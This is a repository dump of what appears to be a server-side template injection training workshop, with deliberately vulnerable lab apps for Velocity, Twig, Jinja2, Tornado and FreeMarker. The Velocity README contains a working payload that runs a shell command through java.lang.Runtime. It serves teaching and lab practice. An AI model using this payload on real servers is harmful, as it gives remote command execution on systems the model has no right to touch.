├── 05_template_velocity ├── .gitignore ├── Dockerfile ├── README.md ├── build.gradle ├── docker-compose.yml ├── gradle │ └── wrapper │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat └── src │ └── main │ ├── java │ └── net │ │ └── gosecure │ │ └── email │ │ ├── StartApplication.java │ │ ├── controller │ │ └── EmailController.java │ │ ├── init │ │ ├── SecurityConfig.java │ │ └── ServerConfiguration.java │ │ └── model │ │ ├── EmailTemplate.java │ │ └── EmailTemplateFixture.java │ └── resources │ ├── application.properties │ ├── email │ ├── new_offer.html │ └── new_sub.html │ ├── static │ ├── css │ │ ├── bootstrap.css │ │ ├── bootstrap.min.css │ │ ├── freelancer.css │ │ └── override.css │ ├── font-awesome │ │ ├── css │ │ │ ├── font-awesome.css │ │ │ └── font-awesome.min.css │ │ ├── fonts │ │ │ ├── FontAwesome.otf │ │ │ ├── fontawesome-webfont.eot │ │ │ ├── fontawesome-webfont.svg │ │ │ ├── fontawesome-webfont.ttf │ │ │ └── fontawesome-webfont.woff │ │ ├── less │ │ │ ├── bordered-pulled.less │ │ │ ├── core.less │ │ │ ├── fixed-width.less │ │ │ ├── font-awesome.less │ │ │ ├── icons.less │ │ │ ├── larger.less │ │ │ ├── list.less │ │ │ ├── mixins.less │ │ │ ├── path.less │ │ │ ├── rotated-flipped.less │ │ │ ├── spinning.less │ │ │ ├── stacked.less │ │ │ └── variables.less │ │ └── scss │ │ │ ├── _bordered-pulled.scss │ │ │ ├── _core.scss │ │ │ ├── _fixed-width.scss │ │ │ ├── _icons.scss │ │ │ ├── _larger.scss │ │ │ ├── _list.scss │ │ │ ├── _mixins.scss │ │ │ ├── _path.scss │ │ │ ├── _rotated-flipped.scss │ │ │ ├── _spinning.scss │ │ │ ├── _stacked.scss │ │ │ ├── _variables.scss │ │ │ └── font-awesome.scss │ ├── images │ │ ├── letters.gif │ │ └── logo.png │ └── js │ │ ├── ace │ │ ├── ace.js │ │ ├── mode-html.js │ │ ├── mode-xml.js │ │ ├── theme-github.js │ │ └── theme-textmate.js │ │ ├── bootstrap.min.js │ │ ├── jquery-ace.min.js │ │ ├── jquery │ │ └── jquery-1.8.3.min.js │ │ └── json2.js │ └── templates │ ├── admin.html │ ├── edit_template.html │ ├── fragments │ └── layout.html │ └── index.html ├── 12_template_twig_php ├── README.md ├── docker-compose.yml ├── secret │ └── flag_twigtwig.txt └── src │ ├── _footer.php │ ├── _header.php │ ├── css │ ├── bootstrap.css │ ├── bootstrap.min.css │ ├── bootstrap.min.css.bak │ ├── default.css │ └── shop-item.css │ ├── flag_twigtwig.php │ ├── home.php │ ├── img │ ├── bg.gif │ ├── bg.jpg │ ├── bgcode.gif │ ├── bgcontainer.gif │ ├── bgul.gif │ ├── header.gif │ ├── li.gif │ ├── quote.gif │ └── search.gif │ ├── index.php │ ├── js │ ├── bootstrap.js │ ├── bootstrap.min.js │ └── jquery.js │ ├── ssti.php │ └── vendor │ ├── autoload.php │ ├── composer │ ├── ClassLoader.php │ ├── autoload_classmap.php │ ├── autoload_namespaces.php │ ├── autoload_psr4.php │ ├── autoload_real.php │ └── installed.json │ └── twig │ └── twig │ ├── .editorconfig │ ├── .gitignore │ ├── .travis.yml │ ├── CHANGELOG │ ├── LICENSE │ ├── README.rst │ ├── composer.json │ ├── doc │ ├── advanced.rst │ ├── advanced_legacy.rst │ ├── api.rst │ ├── coding_standards.rst │ ├── deprecated.rst │ ├── filters │ │ ├── abs.rst │ │ ├── batch.rst │ │ ├── capitalize.rst │ │ ├── convert_encoding.rst │ │ ├── date.rst │ │ ├── date_modify.rst │ │ ├── default.rst │ │ ├── escape.rst │ │ ├── first.rst │ │ ├── format.rst │ │ ├── index.rst │ │ ├── join.rst │ │ ├── json_encode.rst │ │ ├── keys.rst │ │ ├── last.rst │ │ ├── length.rst │ │ ├── lower.rst │ │ ├── merge.rst │ │ ├── nl2br.rst │ │ ├── number_format.rst │ │ ├── raw.rst │ │ ├── replace.rst │ │ ├── reverse.rst │ │ ├── round.rst │ │ ├── slice.rst │ │ ├── sort.rst │ │ ├── split.rst │ │ ├── striptags.rst │ │ ├── title.rst │ │ ├── trim.rst │ │ ├── upper.rst │ │ └── url_encode.rst │ ├── functions │ │ ├── attribute.rst │ │ ├── block.rst │ │ ├── constant.rst │ │ ├── cycle.rst │ │ ├── date.rst │ │ ├── dump.rst │ │ ├── include.rst │ │ ├── index.rst │ │ ├── max.rst │ │ ├── min.rst │ │ ├── parent.rst │ │ ├── random.rst │ │ ├── range.rst │ │ ├── source.rst │ │ └── template_from_string.rst │ ├── index.rst │ ├── installation.rst │ ├── internals.rst │ ├── intro.rst │ ├── recipes.rst │ ├── tags │ │ ├── autoescape.rst │ │ ├── block.rst │ │ ├── do.rst │ │ ├── embed.rst │ │ ├── extends.rst │ │ ├── filter.rst │ │ ├── flush.rst │ │ ├── for.rst │ │ ├── from.rst │ │ ├── if.rst │ │ ├── import.rst │ │ ├── include.rst │ │ ├── index.rst │ │ ├── macro.rst │ │ ├── sandbox.rst │ │ ├── set.rst │ │ ├── spaceless.rst │ │ ├── use.rst │ │ └── verbatim.rst │ ├── templates.rst │ └── tests │ │ ├── constant.rst │ │ ├── defined.rst │ │ ├── divisibleby.rst │ │ ├── empty.rst │ │ ├── even.rst │ │ ├── index.rst │ │ ├── iterable.rst │ │ ├── null.rst │ │ ├── odd.rst │ │ └── sameas.rst │ ├── ext │ └── twig │ │ ├── .gitignore │ │ ├── config.m4 │ │ ├── config.w32 │ │ ├── php_twig.h │ │ └── twig.c │ ├── lib │ └── Twig │ │ ├── Autoloader.php │ │ ├── Compiler.php │ │ ├── CompilerInterface.php │ │ ├── Environment.php │ │ ├── Error.php │ │ ├── Error │ │ ├── Loader.php │ │ ├── Runtime.php │ │ └── Syntax.php │ │ ├── ExistsLoaderInterface.php │ │ ├── ExpressionParser.php │ │ ├── Extension.php │ │ ├── Extension │ │ ├── Core.php │ │ ├── Debug.php │ │ ├── Escaper.php │ │ ├── Optimizer.php │ │ ├── Profiler.php │ │ ├── Sandbox.php │ │ ├── Staging.php │ │ └── StringLoader.php │ │ ├── ExtensionInterface.php │ │ ├── FileExtensionEscapingStrategy.php │ │ ├── Filter.php │ │ ├── Filter │ │ ├── Function.php │ │ ├── Method.php │ │ └── Node.php │ │ ├── FilterCallableInterface.php │ │ ├── FilterInterface.php │ │ ├── Function.php │ │ ├── Function │ │ ├── Function.php │ │ ├── Method.php │ │ └── Node.php │ │ ├── FunctionCallableInterface.php │ │ ├── FunctionInterface.php │ │ ├── Lexer.php │ │ ├── LexerInterface.php │ │ ├── Loader │ │ ├── Array.php │ │ ├── Chain.php │ │ ├── Filesystem.php │ │ └── String.php │ │ ├── LoaderInterface.php │ │ ├── Markup.php │ │ ├── Node.php │ │ ├── Node │ │ ├── AutoEscape.php │ │ ├── Block.php │ │ ├── BlockReference.php │ │ ├── Body.php │ │ ├── CheckSecurity.php │ │ ├── Do.php │ │ ├── Embed.php │ │ ├── Expression.php │ │ ├── Expression │ │ │ ├── Array.php │ │ │ ├── AssignName.php │ │ │ ├── Binary.php │ │ │ ├── Binary │ │ │ │ ├── Add.php │ │ │ │ ├── And.php │ │ │ │ ├── BitwiseAnd.php │ │ │ │ ├── BitwiseOr.php │ │ │ │ ├── BitwiseXor.php │ │ │ │ ├── Concat.php │ │ │ │ ├── Div.php │ │ │ │ ├── EndsWith.php │ │ │ │ ├── Equal.php │ │ │ │ ├── FloorDiv.php │ │ │ │ ├── Greater.php │ │ │ │ ├── GreaterEqual.php │ │ │ │ ├── In.php │ │ │ │ ├── Less.php │ │ │ │ ├── LessEqual.php │ │ │ │ ├── Matches.php │ │ │ │ ├── Mod.php │ │ │ │ ├── Mul.php │ │ │ │ ├── NotEqual.php │ │ │ │ ├── NotIn.php │ │ │ │ ├── Or.php │ │ │ │ ├── Power.php │ │ │ │ ├── Range.php │ │ │ │ ├── StartsWith.php │ │ │ │ └── Sub.php │ │ │ ├── BlockReference.php │ │ │ ├── Call.php │ │ │ ├── Conditional.php │ │ │ ├── Constant.php │ │ │ ├── ExtensionReference.php │ │ │ ├── Filter.php │ │ │ ├── Filter │ │ │ │ └── Default.php │ │ │ ├── Function.php │ │ │ ├── GetAttr.php │ │ │ ├── MethodCall.php │ │ │ ├── Name.php │ │ │ ├── Parent.php │ │ │ ├── TempName.php │ │ │ ├── Test.php │ │ │ ├── Test │ │ │ │ ├── Constant.php │ │ │ │ ├── Defined.php │ │ │ │ ├── Divisibleby.php │ │ │ │ ├── Even.php │ │ │ │ ├── Null.php │ │ │ │ ├── Odd.php │ │ │ │ └── Sameas.php │ │ │ ├── Unary.php │ │ │ └── Unary │ │ │ │ ├── Neg.php │ │ │ │ ├── Not.php │ │ │ │ └── Pos.php │ │ ├── Flush.php │ │ ├── For.php │ │ ├── ForLoop.php │ │ ├── If.php │ │ ├── Import.php │ │ ├── Include.php │ │ ├── Macro.php │ │ ├── Module.php │ │ ├── Print.php │ │ ├── Sandbox.php │ │ ├── SandboxedPrint.php │ │ ├── Set.php │ │ ├── SetTemp.php │ │ ├── Spaceless.php │ │ └── Text.php │ │ ├── NodeInterface.php │ │ ├── NodeOutputInterface.php │ │ ├── NodeTraverser.php │ │ ├── NodeVisitor │ │ ├── Escaper.php │ │ ├── Optimizer.php │ │ ├── SafeAnalysis.php │ │ └── Sandbox.php │ │ ├── NodeVisitorInterface.php │ │ ├── Parser.php │ │ ├── ParserInterface.php │ │ ├── Profiler │ │ ├── Dumper │ │ │ ├── Blackfire.php │ │ │ ├── Html.php │ │ │ └── Text.php │ │ ├── Node │ │ │ ├── EnterProfile.php │ │ │ └── LeaveProfile.php │ │ ├── NodeVisitor │ │ │ └── Profiler.php │ │ └── Profile.php │ │ ├── Sandbox │ │ ├── SecurityError.php │ │ ├── SecurityNotAllowedFilterError.php │ │ ├── SecurityNotAllowedFunctionError.php │ │ ├── SecurityNotAllowedTagError.php │ │ ├── SecurityPolicy.php │ │ └── SecurityPolicyInterface.php │ │ ├── SimpleFilter.php │ │ ├── SimpleFunction.php │ │ ├── SimpleTest.php │ │ ├── Template.php │ │ ├── TemplateInterface.php │ │ ├── Test.php │ │ ├── Test │ │ ├── Function.php │ │ ├── IntegrationTestCase.php │ │ ├── Method.php │ │ ├── Node.php │ │ └── NodeTestCase.php │ │ ├── TestCallableInterface.php │ │ ├── TestInterface.php │ │ ├── Token.php │ │ ├── TokenParser.php │ │ ├── TokenParser │ │ ├── AutoEscape.php │ │ ├── Block.php │ │ ├── Do.php │ │ ├── Embed.php │ │ ├── Extends.php │ │ ├── Filter.php │ │ ├── Flush.php │ │ ├── For.php │ │ ├── From.php │ │ ├── If.php │ │ ├── Import.php │ │ ├── Include.php │ │ ├── Macro.php │ │ ├── Sandbox.php │ │ ├── Set.php │ │ ├── Spaceless.php │ │ └── Use.php │ │ ├── TokenParserBroker.php │ │ ├── TokenParserBrokerInterface.php │ │ ├── TokenParserInterface.php │ │ └── TokenStream.php │ ├── phpunit.xml.dist │ └── test │ ├── Twig │ └── Tests │ │ ├── AutoloaderTest.php │ │ ├── CompilerTest.php │ │ ├── EnvironmentTest.php │ │ ├── ErrorTest.php │ │ ├── ExpressionParserTest.php │ │ ├── Extension │ │ ├── CoreTest.php │ │ └── SandboxTest.php │ │ ├── FileCachingTest.php │ │ ├── FileExtensionEscapingStrategyTest.php │ │ ├── Fixtures │ │ ├── autoescape │ │ │ └── filename.test │ │ ├── errors │ │ │ ├── base.html │ │ │ └── index.html │ │ ├── exceptions │ │ │ ├── multiline_array_with_undefined_variable.test │ │ │ ├── multiline_array_with_undefined_variable_again.test │ │ │ ├── multiline_function_with_undefined_variable.test │ │ │ ├── multiline_function_with_unknown_argument.test │ │ │ ├── multiline_tag_with_undefined_variable.test │ │ │ ├── syntax_error_in_reused_template.test │ │ │ ├── unclosed_tag.test │ │ │ ├── undefined_parent.test │ │ │ ├── undefined_template_in_child_template.test │ │ │ └── undefined_trait.test │ │ ├── expressions │ │ │ ├── array.test │ │ │ ├── array_call.test │ │ │ ├── binary.test │ │ │ ├── bitwise.test │ │ │ ├── comparison.test │ │ │ ├── divisibleby.test │ │ │ ├── dotdot.test │ │ │ ├── ends_with.test │ │ │ ├── grouping.test │ │ │ ├── literals.test │ │ │ ├── magic_call.test │ │ │ ├── matches.test │ │ │ ├── method_call.test │ │ │ ├── negative_numbers.test │ │ │ ├── operators_as_variables.test │ │ │ ├── postfix.test │ │ │ ├── sameas.test │ │ │ ├── starts_with.test │ │ │ ├── strings.test │ │ │ ├── ternary_operator.test │ │ │ ├── ternary_operator_noelse.test │ │ │ ├── ternary_operator_nothen.test │ │ │ ├── two_word_operators_as_variables.test │ │ │ ├── unary.test │ │ │ ├── unary_macro_arguments.test │ │ │ └── unary_precedence.test │ │ ├── filters │ │ │ ├── abs.test │ │ │ ├── batch.test │ │ │ ├── batch_float.test │ │ │ ├── batch_with_empty_fill.test │ │ │ ├── batch_with_exact_elements.test │ │ │ ├── batch_with_fill.test │ │ │ ├── batch_with_keys.test │ │ │ ├── batch_with_zero_elements.test │ │ │ ├── convert_encoding.test │ │ │ ├── date.test │ │ │ ├── date_default_format.test │ │ │ ├── date_default_format_interval.test │ │ │ ├── date_immutable.test │ │ │ ├── date_interval.test │ │ │ ├── date_modify.test │ │ │ ├── date_namedargs.test │ │ │ ├── default.test │ │ │ ├── dynamic_filter.test │ │ │ ├── escape.test │ │ │ ├── escape_html_attr.test │ │ │ ├── escape_non_supported_charset.test │ │ │ ├── first.test │ │ │ ├── force_escape.test │ │ │ ├── format.test │ │ │ ├── join.test │ │ │ ├── json_encode.test │ │ │ ├── last.test │ │ │ ├── length.test │ │ │ ├── length_utf8.test │ │ │ ├── merge.test │ │ │ ├── nl2br.test │ │ │ ├── number_format.test │ │ │ ├── number_format_default.test │ │ │ ├── replace.test │ │ │ ├── reverse.test │ │ │ ├── round.test │ │ │ ├── slice.test │ │ │ ├── sort.test │ │ │ ├── special_chars.test │ │ │ ├── split.test │ │ │ ├── split_utf8.test │ │ │ ├── trim.test │ │ │ ├── urlencode.test │ │ │ └── urlencode_deprecated.test │ │ ├── functions │ │ │ ├── attribute.test │ │ │ ├── block.test │ │ │ ├── constant.test │ │ │ ├── cycle.test │ │ │ ├── date.test │ │ │ ├── date_namedargs.test │ │ │ ├── dump.test │ │ │ ├── dump_array.test │ │ │ ├── dynamic_function.test │ │ │ ├── include │ │ │ │ ├── assignment.test │ │ │ │ ├── autoescaping.test │ │ │ │ ├── basic.test │ │ │ │ ├── expression.test │ │ │ │ ├── ignore_missing.test │ │ │ │ ├── missing.test │ │ │ │ ├── missing_nested.test │ │ │ │ ├── sandbox.test │ │ │ │ ├── sandbox_disabling.test │ │ │ │ ├── sandbox_disabling_ignore_missing.test │ │ │ │ ├── template_instance.test │ │ │ │ ├── templates_as_array.test │ │ │ │ ├── with_context.test │ │ │ │ └── with_variables.test │ │ │ ├── max.test │ │ │ ├── min.test │ │ │ ├── range.test │ │ │ ├── recursive_block_with_inheritance.test │ │ │ ├── source.test │ │ │ ├── special_chars.test │ │ │ └── template_from_string.test │ │ ├── macros │ │ │ ├── default_values.test │ │ │ ├── nested_calls.test │ │ │ ├── reserved_variables.test │ │ │ ├── simple.test │ │ │ ├── varargs.test │ │ │ ├── varargs_argument.test │ │ │ └── with_filters.test │ │ ├── regression │ │ │ ├── combined_debug_info.test │ │ │ ├── empty_token.test │ │ │ ├── issue_1143.test │ │ │ ├── multi_word_tests.test │ │ │ ├── simple_xml_element.test │ │ │ └── strings_like_numbers.test │ │ ├── tags │ │ │ ├── autoescape │ │ │ │ ├── basic.test │ │ │ │ ├── blocks.test │ │ │ │ ├── double_escaping.test │ │ │ │ ├── functions.test │ │ │ │ ├── literal.test │ │ │ │ ├── nested.test │ │ │ │ ├── objects.test │ │ │ │ ├── raw.test │ │ │ │ ├── strategy.test │ │ │ │ ├── type.test │ │ │ │ ├── with_filters.test │ │ │ │ ├── with_filters_arguments.test │ │ │ │ ├── with_pre_escape_filters.test │ │ │ │ └── with_preserves_safety_filters.test │ │ │ ├── block │ │ │ │ ├── basic.test │ │ │ │ ├── block_unique_name.test │ │ │ │ └── special_chars.test │ │ │ ├── embed │ │ │ │ ├── basic.test │ │ │ │ ├── error_line.test │ │ │ │ ├── multiple.test │ │ │ │ ├── nested.test │ │ │ │ └── with_extends.test │ │ │ ├── filter │ │ │ │ ├── basic.test │ │ │ │ ├── json_encode.test │ │ │ │ ├── multiple.test │ │ │ │ ├── nested.test │ │ │ │ ├── with_for_tag.test │ │ │ │ └── with_if_tag.test │ │ │ ├── for │ │ │ │ ├── condition.test │ │ │ │ ├── context.test │ │ │ │ ├── else.test │ │ │ │ ├── inner_variables.test │ │ │ │ ├── keys.test │ │ │ │ ├── keys_and_values.test │ │ │ │ ├── loop_context.test │ │ │ │ ├── loop_context_local.test │ │ │ │ ├── loop_not_defined.test │ │ │ │ ├── loop_not_defined_cond.test │ │ │ │ ├── nested_else.test │ │ │ │ ├── objects.test │ │ │ │ ├── objects_countable.test │ │ │ │ ├── recursive.test │ │ │ │ └── values.test │ │ │ ├── from.test │ │ │ ├── if │ │ │ │ ├── basic.test │ │ │ │ └── expression.test │ │ │ ├── include │ │ │ │ ├── basic.test │ │ │ │ ├── expression.test │ │ │ │ ├── ignore_missing.test │ │ │ │ ├── missing.test │ │ │ │ ├── missing_nested.test │ │ │ │ ├── only.test │ │ │ │ ├── template_instance.test │ │ │ │ ├── templates_as_array.test │ │ │ │ └── with_variables.test │ │ │ ├── inheritance │ │ │ │ ├── basic.test │ │ │ │ ├── block_expr.test │ │ │ │ ├── block_expr2.test │ │ │ │ ├── conditional.test │ │ │ │ ├── dynamic.test │ │ │ │ ├── empty.test │ │ │ │ ├── extends_as_array.test │ │ │ │ ├── extends_as_array_with_empty_name.test │ │ │ │ ├── extends_as_array_with_null_name.test │ │ │ │ ├── multiple.test │ │ │ │ ├── multiple_dynamic.test │ │ │ │ ├── nested_blocks.test │ │ │ │ ├── nested_blocks_parent_only.test │ │ │ │ ├── nested_inheritance.test │ │ │ │ ├── parent.test │ │ │ │ ├── parent_change.test │ │ │ │ ├── parent_in_a_block.test │ │ │ │ ├── parent_isolation.test │ │ │ │ ├── parent_nested.test │ │ │ │ ├── parent_without_extends.test │ │ │ │ ├── parent_without_extends_but_traits.test │ │ │ │ ├── template_instance.test │ │ │ │ └── use.test │ │ │ ├── macro │ │ │ │ ├── basic.test │ │ │ │ ├── endmacro_name.test │ │ │ │ ├── external.test │ │ │ │ ├── from.test │ │ │ │ ├── global.test │ │ │ │ ├── self_import.test │ │ │ │ ├── special_chars.test │ │ │ │ └── super_globals.test │ │ │ ├── raw │ │ │ │ ├── basic.test │ │ │ │ ├── mixed_usage_with_raw.test │ │ │ │ └── whitespace_control.test │ │ │ ├── sandbox │ │ │ │ ├── not_valid1.test │ │ │ │ ├── not_valid2.test │ │ │ │ └── simple.test │ │ │ ├── set │ │ │ │ ├── basic.test │ │ │ │ ├── capture-empty.test │ │ │ │ ├── capture.test │ │ │ │ └── expression.test │ │ │ ├── spaceless │ │ │ │ └── simple.test │ │ │ ├── special_chars.test │ │ │ ├── trim_block.test │ │ │ ├── use │ │ │ │ ├── aliases.test │ │ │ │ ├── basic.test │ │ │ │ ├── deep.test │ │ │ │ ├── deep_empty.test │ │ │ │ ├── inheritance.test │ │ │ │ ├── inheritance2.test │ │ │ │ ├── multiple.test │ │ │ │ ├── multiple_aliases.test │ │ │ │ ├── parent_block.test │ │ │ │ ├── parent_block2.test │ │ │ │ └── parent_block3.test │ │ │ └── verbatim │ │ │ │ ├── basic.test │ │ │ │ ├── mixed_usage_with_raw.test │ │ │ │ └── whitespace_control.test │ │ └── tests │ │ │ ├── array.test │ │ │ ├── constant.test │ │ │ ├── defined.test │ │ │ ├── empty.test │ │ │ ├── even.test │ │ │ ├── in.test │ │ │ ├── in_with_objects.test │ │ │ ├── iterable.test │ │ │ └── odd.test │ │ ├── IntegrationTest.php │ │ ├── LexerTest.php │ │ ├── Loader │ │ ├── ArrayTest.php │ │ ├── ChainTest.php │ │ ├── FilesystemTest.php │ │ └── Fixtures │ │ │ ├── inheritance │ │ │ ├── array_inheritance_empty_parent.html.twig │ │ │ ├── array_inheritance_nonexistent_parent.html.twig │ │ │ ├── array_inheritance_null_parent.html.twig │ │ │ ├── array_inheritance_valid_parent.html.twig │ │ │ ├── parent.html.twig │ │ │ └── spare_parent.html.twig │ │ │ ├── named │ │ │ └── index.html │ │ │ ├── named_bis │ │ │ └── index.html │ │ │ ├── named_final │ │ │ └── index.html │ │ │ ├── named_quater │ │ │ └── named_absolute.html │ │ │ ├── named_ter │ │ │ └── index.html │ │ │ ├── normal │ │ │ └── index.html │ │ │ ├── normal_bis │ │ │ └── index.html │ │ │ ├── normal_final │ │ │ └── index.html │ │ │ ├── normal_ter │ │ │ └── index.html │ │ │ └── themes │ │ │ ├── theme1 │ │ │ └── blocks.html.twig │ │ │ └── theme2 │ │ │ └── blocks.html.twig │ │ ├── NativeExtensionTest.php │ │ ├── Node │ │ ├── AutoEscapeTest.php │ │ ├── BlockReferenceTest.php │ │ ├── BlockTest.php │ │ ├── DoTest.php │ │ ├── Expression │ │ │ ├── ArrayTest.php │ │ │ ├── AssignNameTest.php │ │ │ ├── Binary │ │ │ │ ├── AddTest.php │ │ │ │ ├── AndTest.php │ │ │ │ ├── ConcatTest.php │ │ │ │ ├── DivTest.php │ │ │ │ ├── FloorDivTest.php │ │ │ │ ├── ModTest.php │ │ │ │ ├── MulTest.php │ │ │ │ ├── OrTest.php │ │ │ │ └── SubTest.php │ │ │ ├── CallTest.php │ │ │ ├── ConditionalTest.php │ │ │ ├── ConstantTest.php │ │ │ ├── FilterTest.php │ │ │ ├── FunctionTest.php │ │ │ ├── GetAttrTest.php │ │ │ ├── NameTest.php │ │ │ ├── PHP53 │ │ │ │ ├── FilterInclude.php │ │ │ │ ├── FunctionInclude.php │ │ │ │ └── TestInclude.php │ │ │ ├── ParentTest.php │ │ │ ├── TestTest.php │ │ │ └── Unary │ │ │ │ ├── NegTest.php │ │ │ │ ├── NotTest.php │ │ │ │ └── PosTest.php │ │ ├── ForTest.php │ │ ├── IfTest.php │ │ ├── ImportTest.php │ │ ├── IncludeTest.php │ │ ├── MacroTest.php │ │ ├── ModuleTest.php │ │ ├── PrintTest.php │ │ ├── SandboxTest.php │ │ ├── SandboxedPrintTest.php │ │ ├── SetTest.php │ │ ├── SpacelessTest.php │ │ └── TextTest.php │ │ ├── NodeVisitor │ │ └── OptimizerTest.php │ │ ├── ParserTest.php │ │ ├── Profiler │ │ ├── Dumper │ │ │ ├── AbstractTest.php │ │ │ ├── BlackfireTest.php │ │ │ ├── HtmlTest.php │ │ │ └── TextTest.php │ │ └── ProfileTest.php │ │ ├── TemplateTest.php │ │ ├── TokenStreamTest.php │ │ └── escapingTest.php │ └── bootstrap.php ├── 13_template_jinja2 ├── Dockerfile ├── README.md ├── docker-compose.yml ├── secret │ └── flag_jinja.txt └── src │ ├── app.py │ ├── requirements.txt │ └── templates │ └── index.html ├── 14_template_tornado ├── Dockerfile ├── README.md ├── docker-compose.yml ├── secret │ └── flag_torn.txt └── src │ ├── app.py │ ├── requirements.txt │ └── templates │ ├── 404.html │ ├── index.html │ └── subscribe.html ├── 25_template_freemarker ├── .gitignore ├── Dockerfile ├── README.md ├── docker-compose.yml ├── pom.xml └── src │ └── main │ ├── java │ └── net │ │ └── gosecure │ │ └── email │ │ ├── StartApplication.java │ │ ├── controller │ │ └── PageController.java │ │ ├── init │ │ ├── MvcConfig.java │ │ └── SecurityConfig.java │ │ ├── model │ │ ├── PageTemplate.java │ │ └── PageTemplateFixture.java │ │ ├── templateutil │ │ └── SecureTemplateClassResolver.java │ │ └── util │ │ ├── AggregateClassLoader.java │ │ ├── ArrayUtil.java │ │ ├── EqualityWeakReference.java │ │ ├── HashUtil.java │ │ └── ReflectionUtil.java │ └── resources │ ├── application.properties │ ├── static │ ├── css │ │ ├── bootstrap.css │ │ ├── bootstrap.min.css │ │ ├── freelancer.css │ │ ├── override.css │ │ └── styles.css │ ├── font-awesome │ │ ├── css │ │ │ ├── font-awesome.css │ │ │ └── font-awesome.min.css │ │ └── fonts │ │ │ ├── FontAwesome.otf │ │ │ ├── fontawesome-webfont.eot │ │ │ ├── fontawesome-webfont.svg │ │ │ ├── fontawesome-webfont.ttf │ │ │ └── fontawesome-webfont.woff │ ├── images │ │ ├── folders.jpg │ │ └── logo.png │ └── js │ │ ├── ace │ │ ├── ace.js │ │ ├── mode-html.js │ │ ├── mode-xml.js │ │ ├── theme-github.js │ │ └── theme-textmate.js │ │ ├── bootstrap.min.js │ │ ├── jquery-ace.min.js │ │ ├── jquery │ │ └── jquery-1.8.3.min.js │ │ └── json2.js │ ├── templates │ ├── admin.html │ ├── edit_page.html │ ├── fragments │ │ └── layout.html │ └── index.html │ └── tpl │ ├── lorem_ipsum.html │ ├── page_404.html │ └── welcome_page.html ├── 26_template_freemarker_sandbox ├── .gitignore ├── Dockerfile ├── README.md ├── docker-compose.yml ├── pom.xml └── src │ └── main │ ├── java │ └── net │ │ └── gosecure │ │ └── email │ │ ├── StartApplication.java │ │ ├── controller │ │ └── PageController.java │ │ ├── init │ │ ├── MvcConfig.java │ │ └── SecurityConfig.java │ │ ├── model │ │ ├── PageTemplate.java │ │ └── PageTemplateFixture.java │ │ ├── templateutil │ │ └── SecureTemplateClassResolver.java │ │ └── util │ │ ├── AggregateClassLoader.java │ │ ├── ArrayUtil.java │ │ ├── EqualityWeakReference.java │ │ ├── HashUtil.java │ │ └── ReflectionUtil.java │ └── resources │ ├── application.properties │ ├── static │ ├── css │ │ ├── bootstrap.css │ │ ├── bootstrap.min.css │ │ ├── freelancer.css │ │ ├── override.css │ │ └── styles.css │ ├── font-awesome │ │ ├── css │ │ │ ├── font-awesome.css │ │ │ └── font-awesome.min.css │ │ └── fonts │ │ │ ├── FontAwesome.otf │ │ │ ├── fontawesome-webfont.eot │ │ │ ├── fontawesome-webfont.svg │ │ │ ├── fontawesome-webfont.ttf │ │ │ └── fontawesome-webfont.woff │ ├── images │ │ ├── folders.jpg │ │ └── logo.png │ └── js │ │ ├── ace │ │ ├── ace.js │ │ ├── mode-html.js │ │ ├── mode-xml.js │ │ ├── theme-github.js │ │ └── theme-textmate.js │ │ ├── bootstrap.min.js │ │ ├── jquery-ace.min.js │ │ ├── jquery │ │ └── jquery-1.8.3.min.js │ │ └── json2.js │ ├── templates │ ├── admin.html │ ├── edit_page.html │ ├── fragments │ │ └── layout.html │ └── index.html │ └── tpl │ ├── lorem_ipsum.html │ ├── page_404.html │ └── welcome_page.html ├── README.md └── codelabs ├── README.md ├── assets ├── detection_tree.png ├── freemarker.png ├── jinja-big.png ├── sandbox.png ├── screenshots │ ├── freemarker.png │ ├── jinja1.png │ ├── tornado1.png │ ├── twig1.png │ └── velocity.png ├── template_injection_schema.png ├── tornado.png ├── twig-big.png ├── velocity-big-orig.png ├── velocity-big.png └── velocity-logo.png └── index.md /05_template_velocity/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | classes/ 3 | -------------------------------------------------------------------------------- /05_template_velocity/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM frolvlad/alpine-java 2 | VOLUME /tmp 3 | 4 | RUN set -x \ 5 | && mkdir /secret \ 6 | && printf 'Got it !\nflag-440d6ea7d99a370a2242586f31c1fcd5' >> /secret/flag.txt \ 7 | && chmod 777 /secret/flag.txt 8 | 9 | COPY build/libs/emailcamp-0.0.1-SNAPSHOT.jar app.jar 10 | RUN sh -c 'touch /app.jar' 11 | ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/app.jar"] 12 | -------------------------------------------------------------------------------- /05_template_velocity/README.md: -------------------------------------------------------------------------------- 1 | # Template Injection Velocity 2 | 3 | 4 | ## Build instructions 5 | 6 | Requirements: 7 | - Docker 8 | - Docker-compose 9 | - Java 8+ 10 | 11 | ``` 12 | ./gradlew build 13 | ``` 14 | ``` 15 | docker-compose up 16 | ``` 17 | 18 | 19 | ## Template Injection 20 | 21 | 22 | ``` 23 | #set($x='')## 24 | #set($rt=$x.class.forName('java.lang.Runtime'))## 25 | #set($chr=$x.class.forName('java.lang.Character'))## 26 | #set($str=$x.class.forName('java.lang.String'))## 27 | 28 | #set($ex=$rt.getRuntime().exec('id'))## 29 | $ex.waitFor() 30 | #set($out=$ex.getInputStream())## 31 | #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end 32 | ``` 33 | -------------------------------------------------------------------------------- /05_template_velocity/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | web: 4 | build: . 5 | ports: 6 | - "8005:8005" 7 | -------------------------------------------------------------------------------- /05_template_velocity/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GoSecure/template-injection-workshop/77548913901b8e11d24cd1a77d3e80b33f6013a1/05_template_velocity/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /05_template_velocity/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Thu Nov 19 00:42:57 EST 2020 2 | distributionUrl=https\://services.gradle.org/distributions/gradle-4.8.1-all.zip 3 | distributionBase=GRADLE_USER_HOME 4 | distributionPath=wrapper/dists 5 | zipStorePath=wrapper/dists 6 | zipStoreBase=GRADLE_USER_HOME 7 | -------------------------------------------------------------------------------- /05_template_velocity/src/main/java/net/gosecure/email/StartApplication.java: -------------------------------------------------------------------------------- 1 | package net.gosecure.email; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import 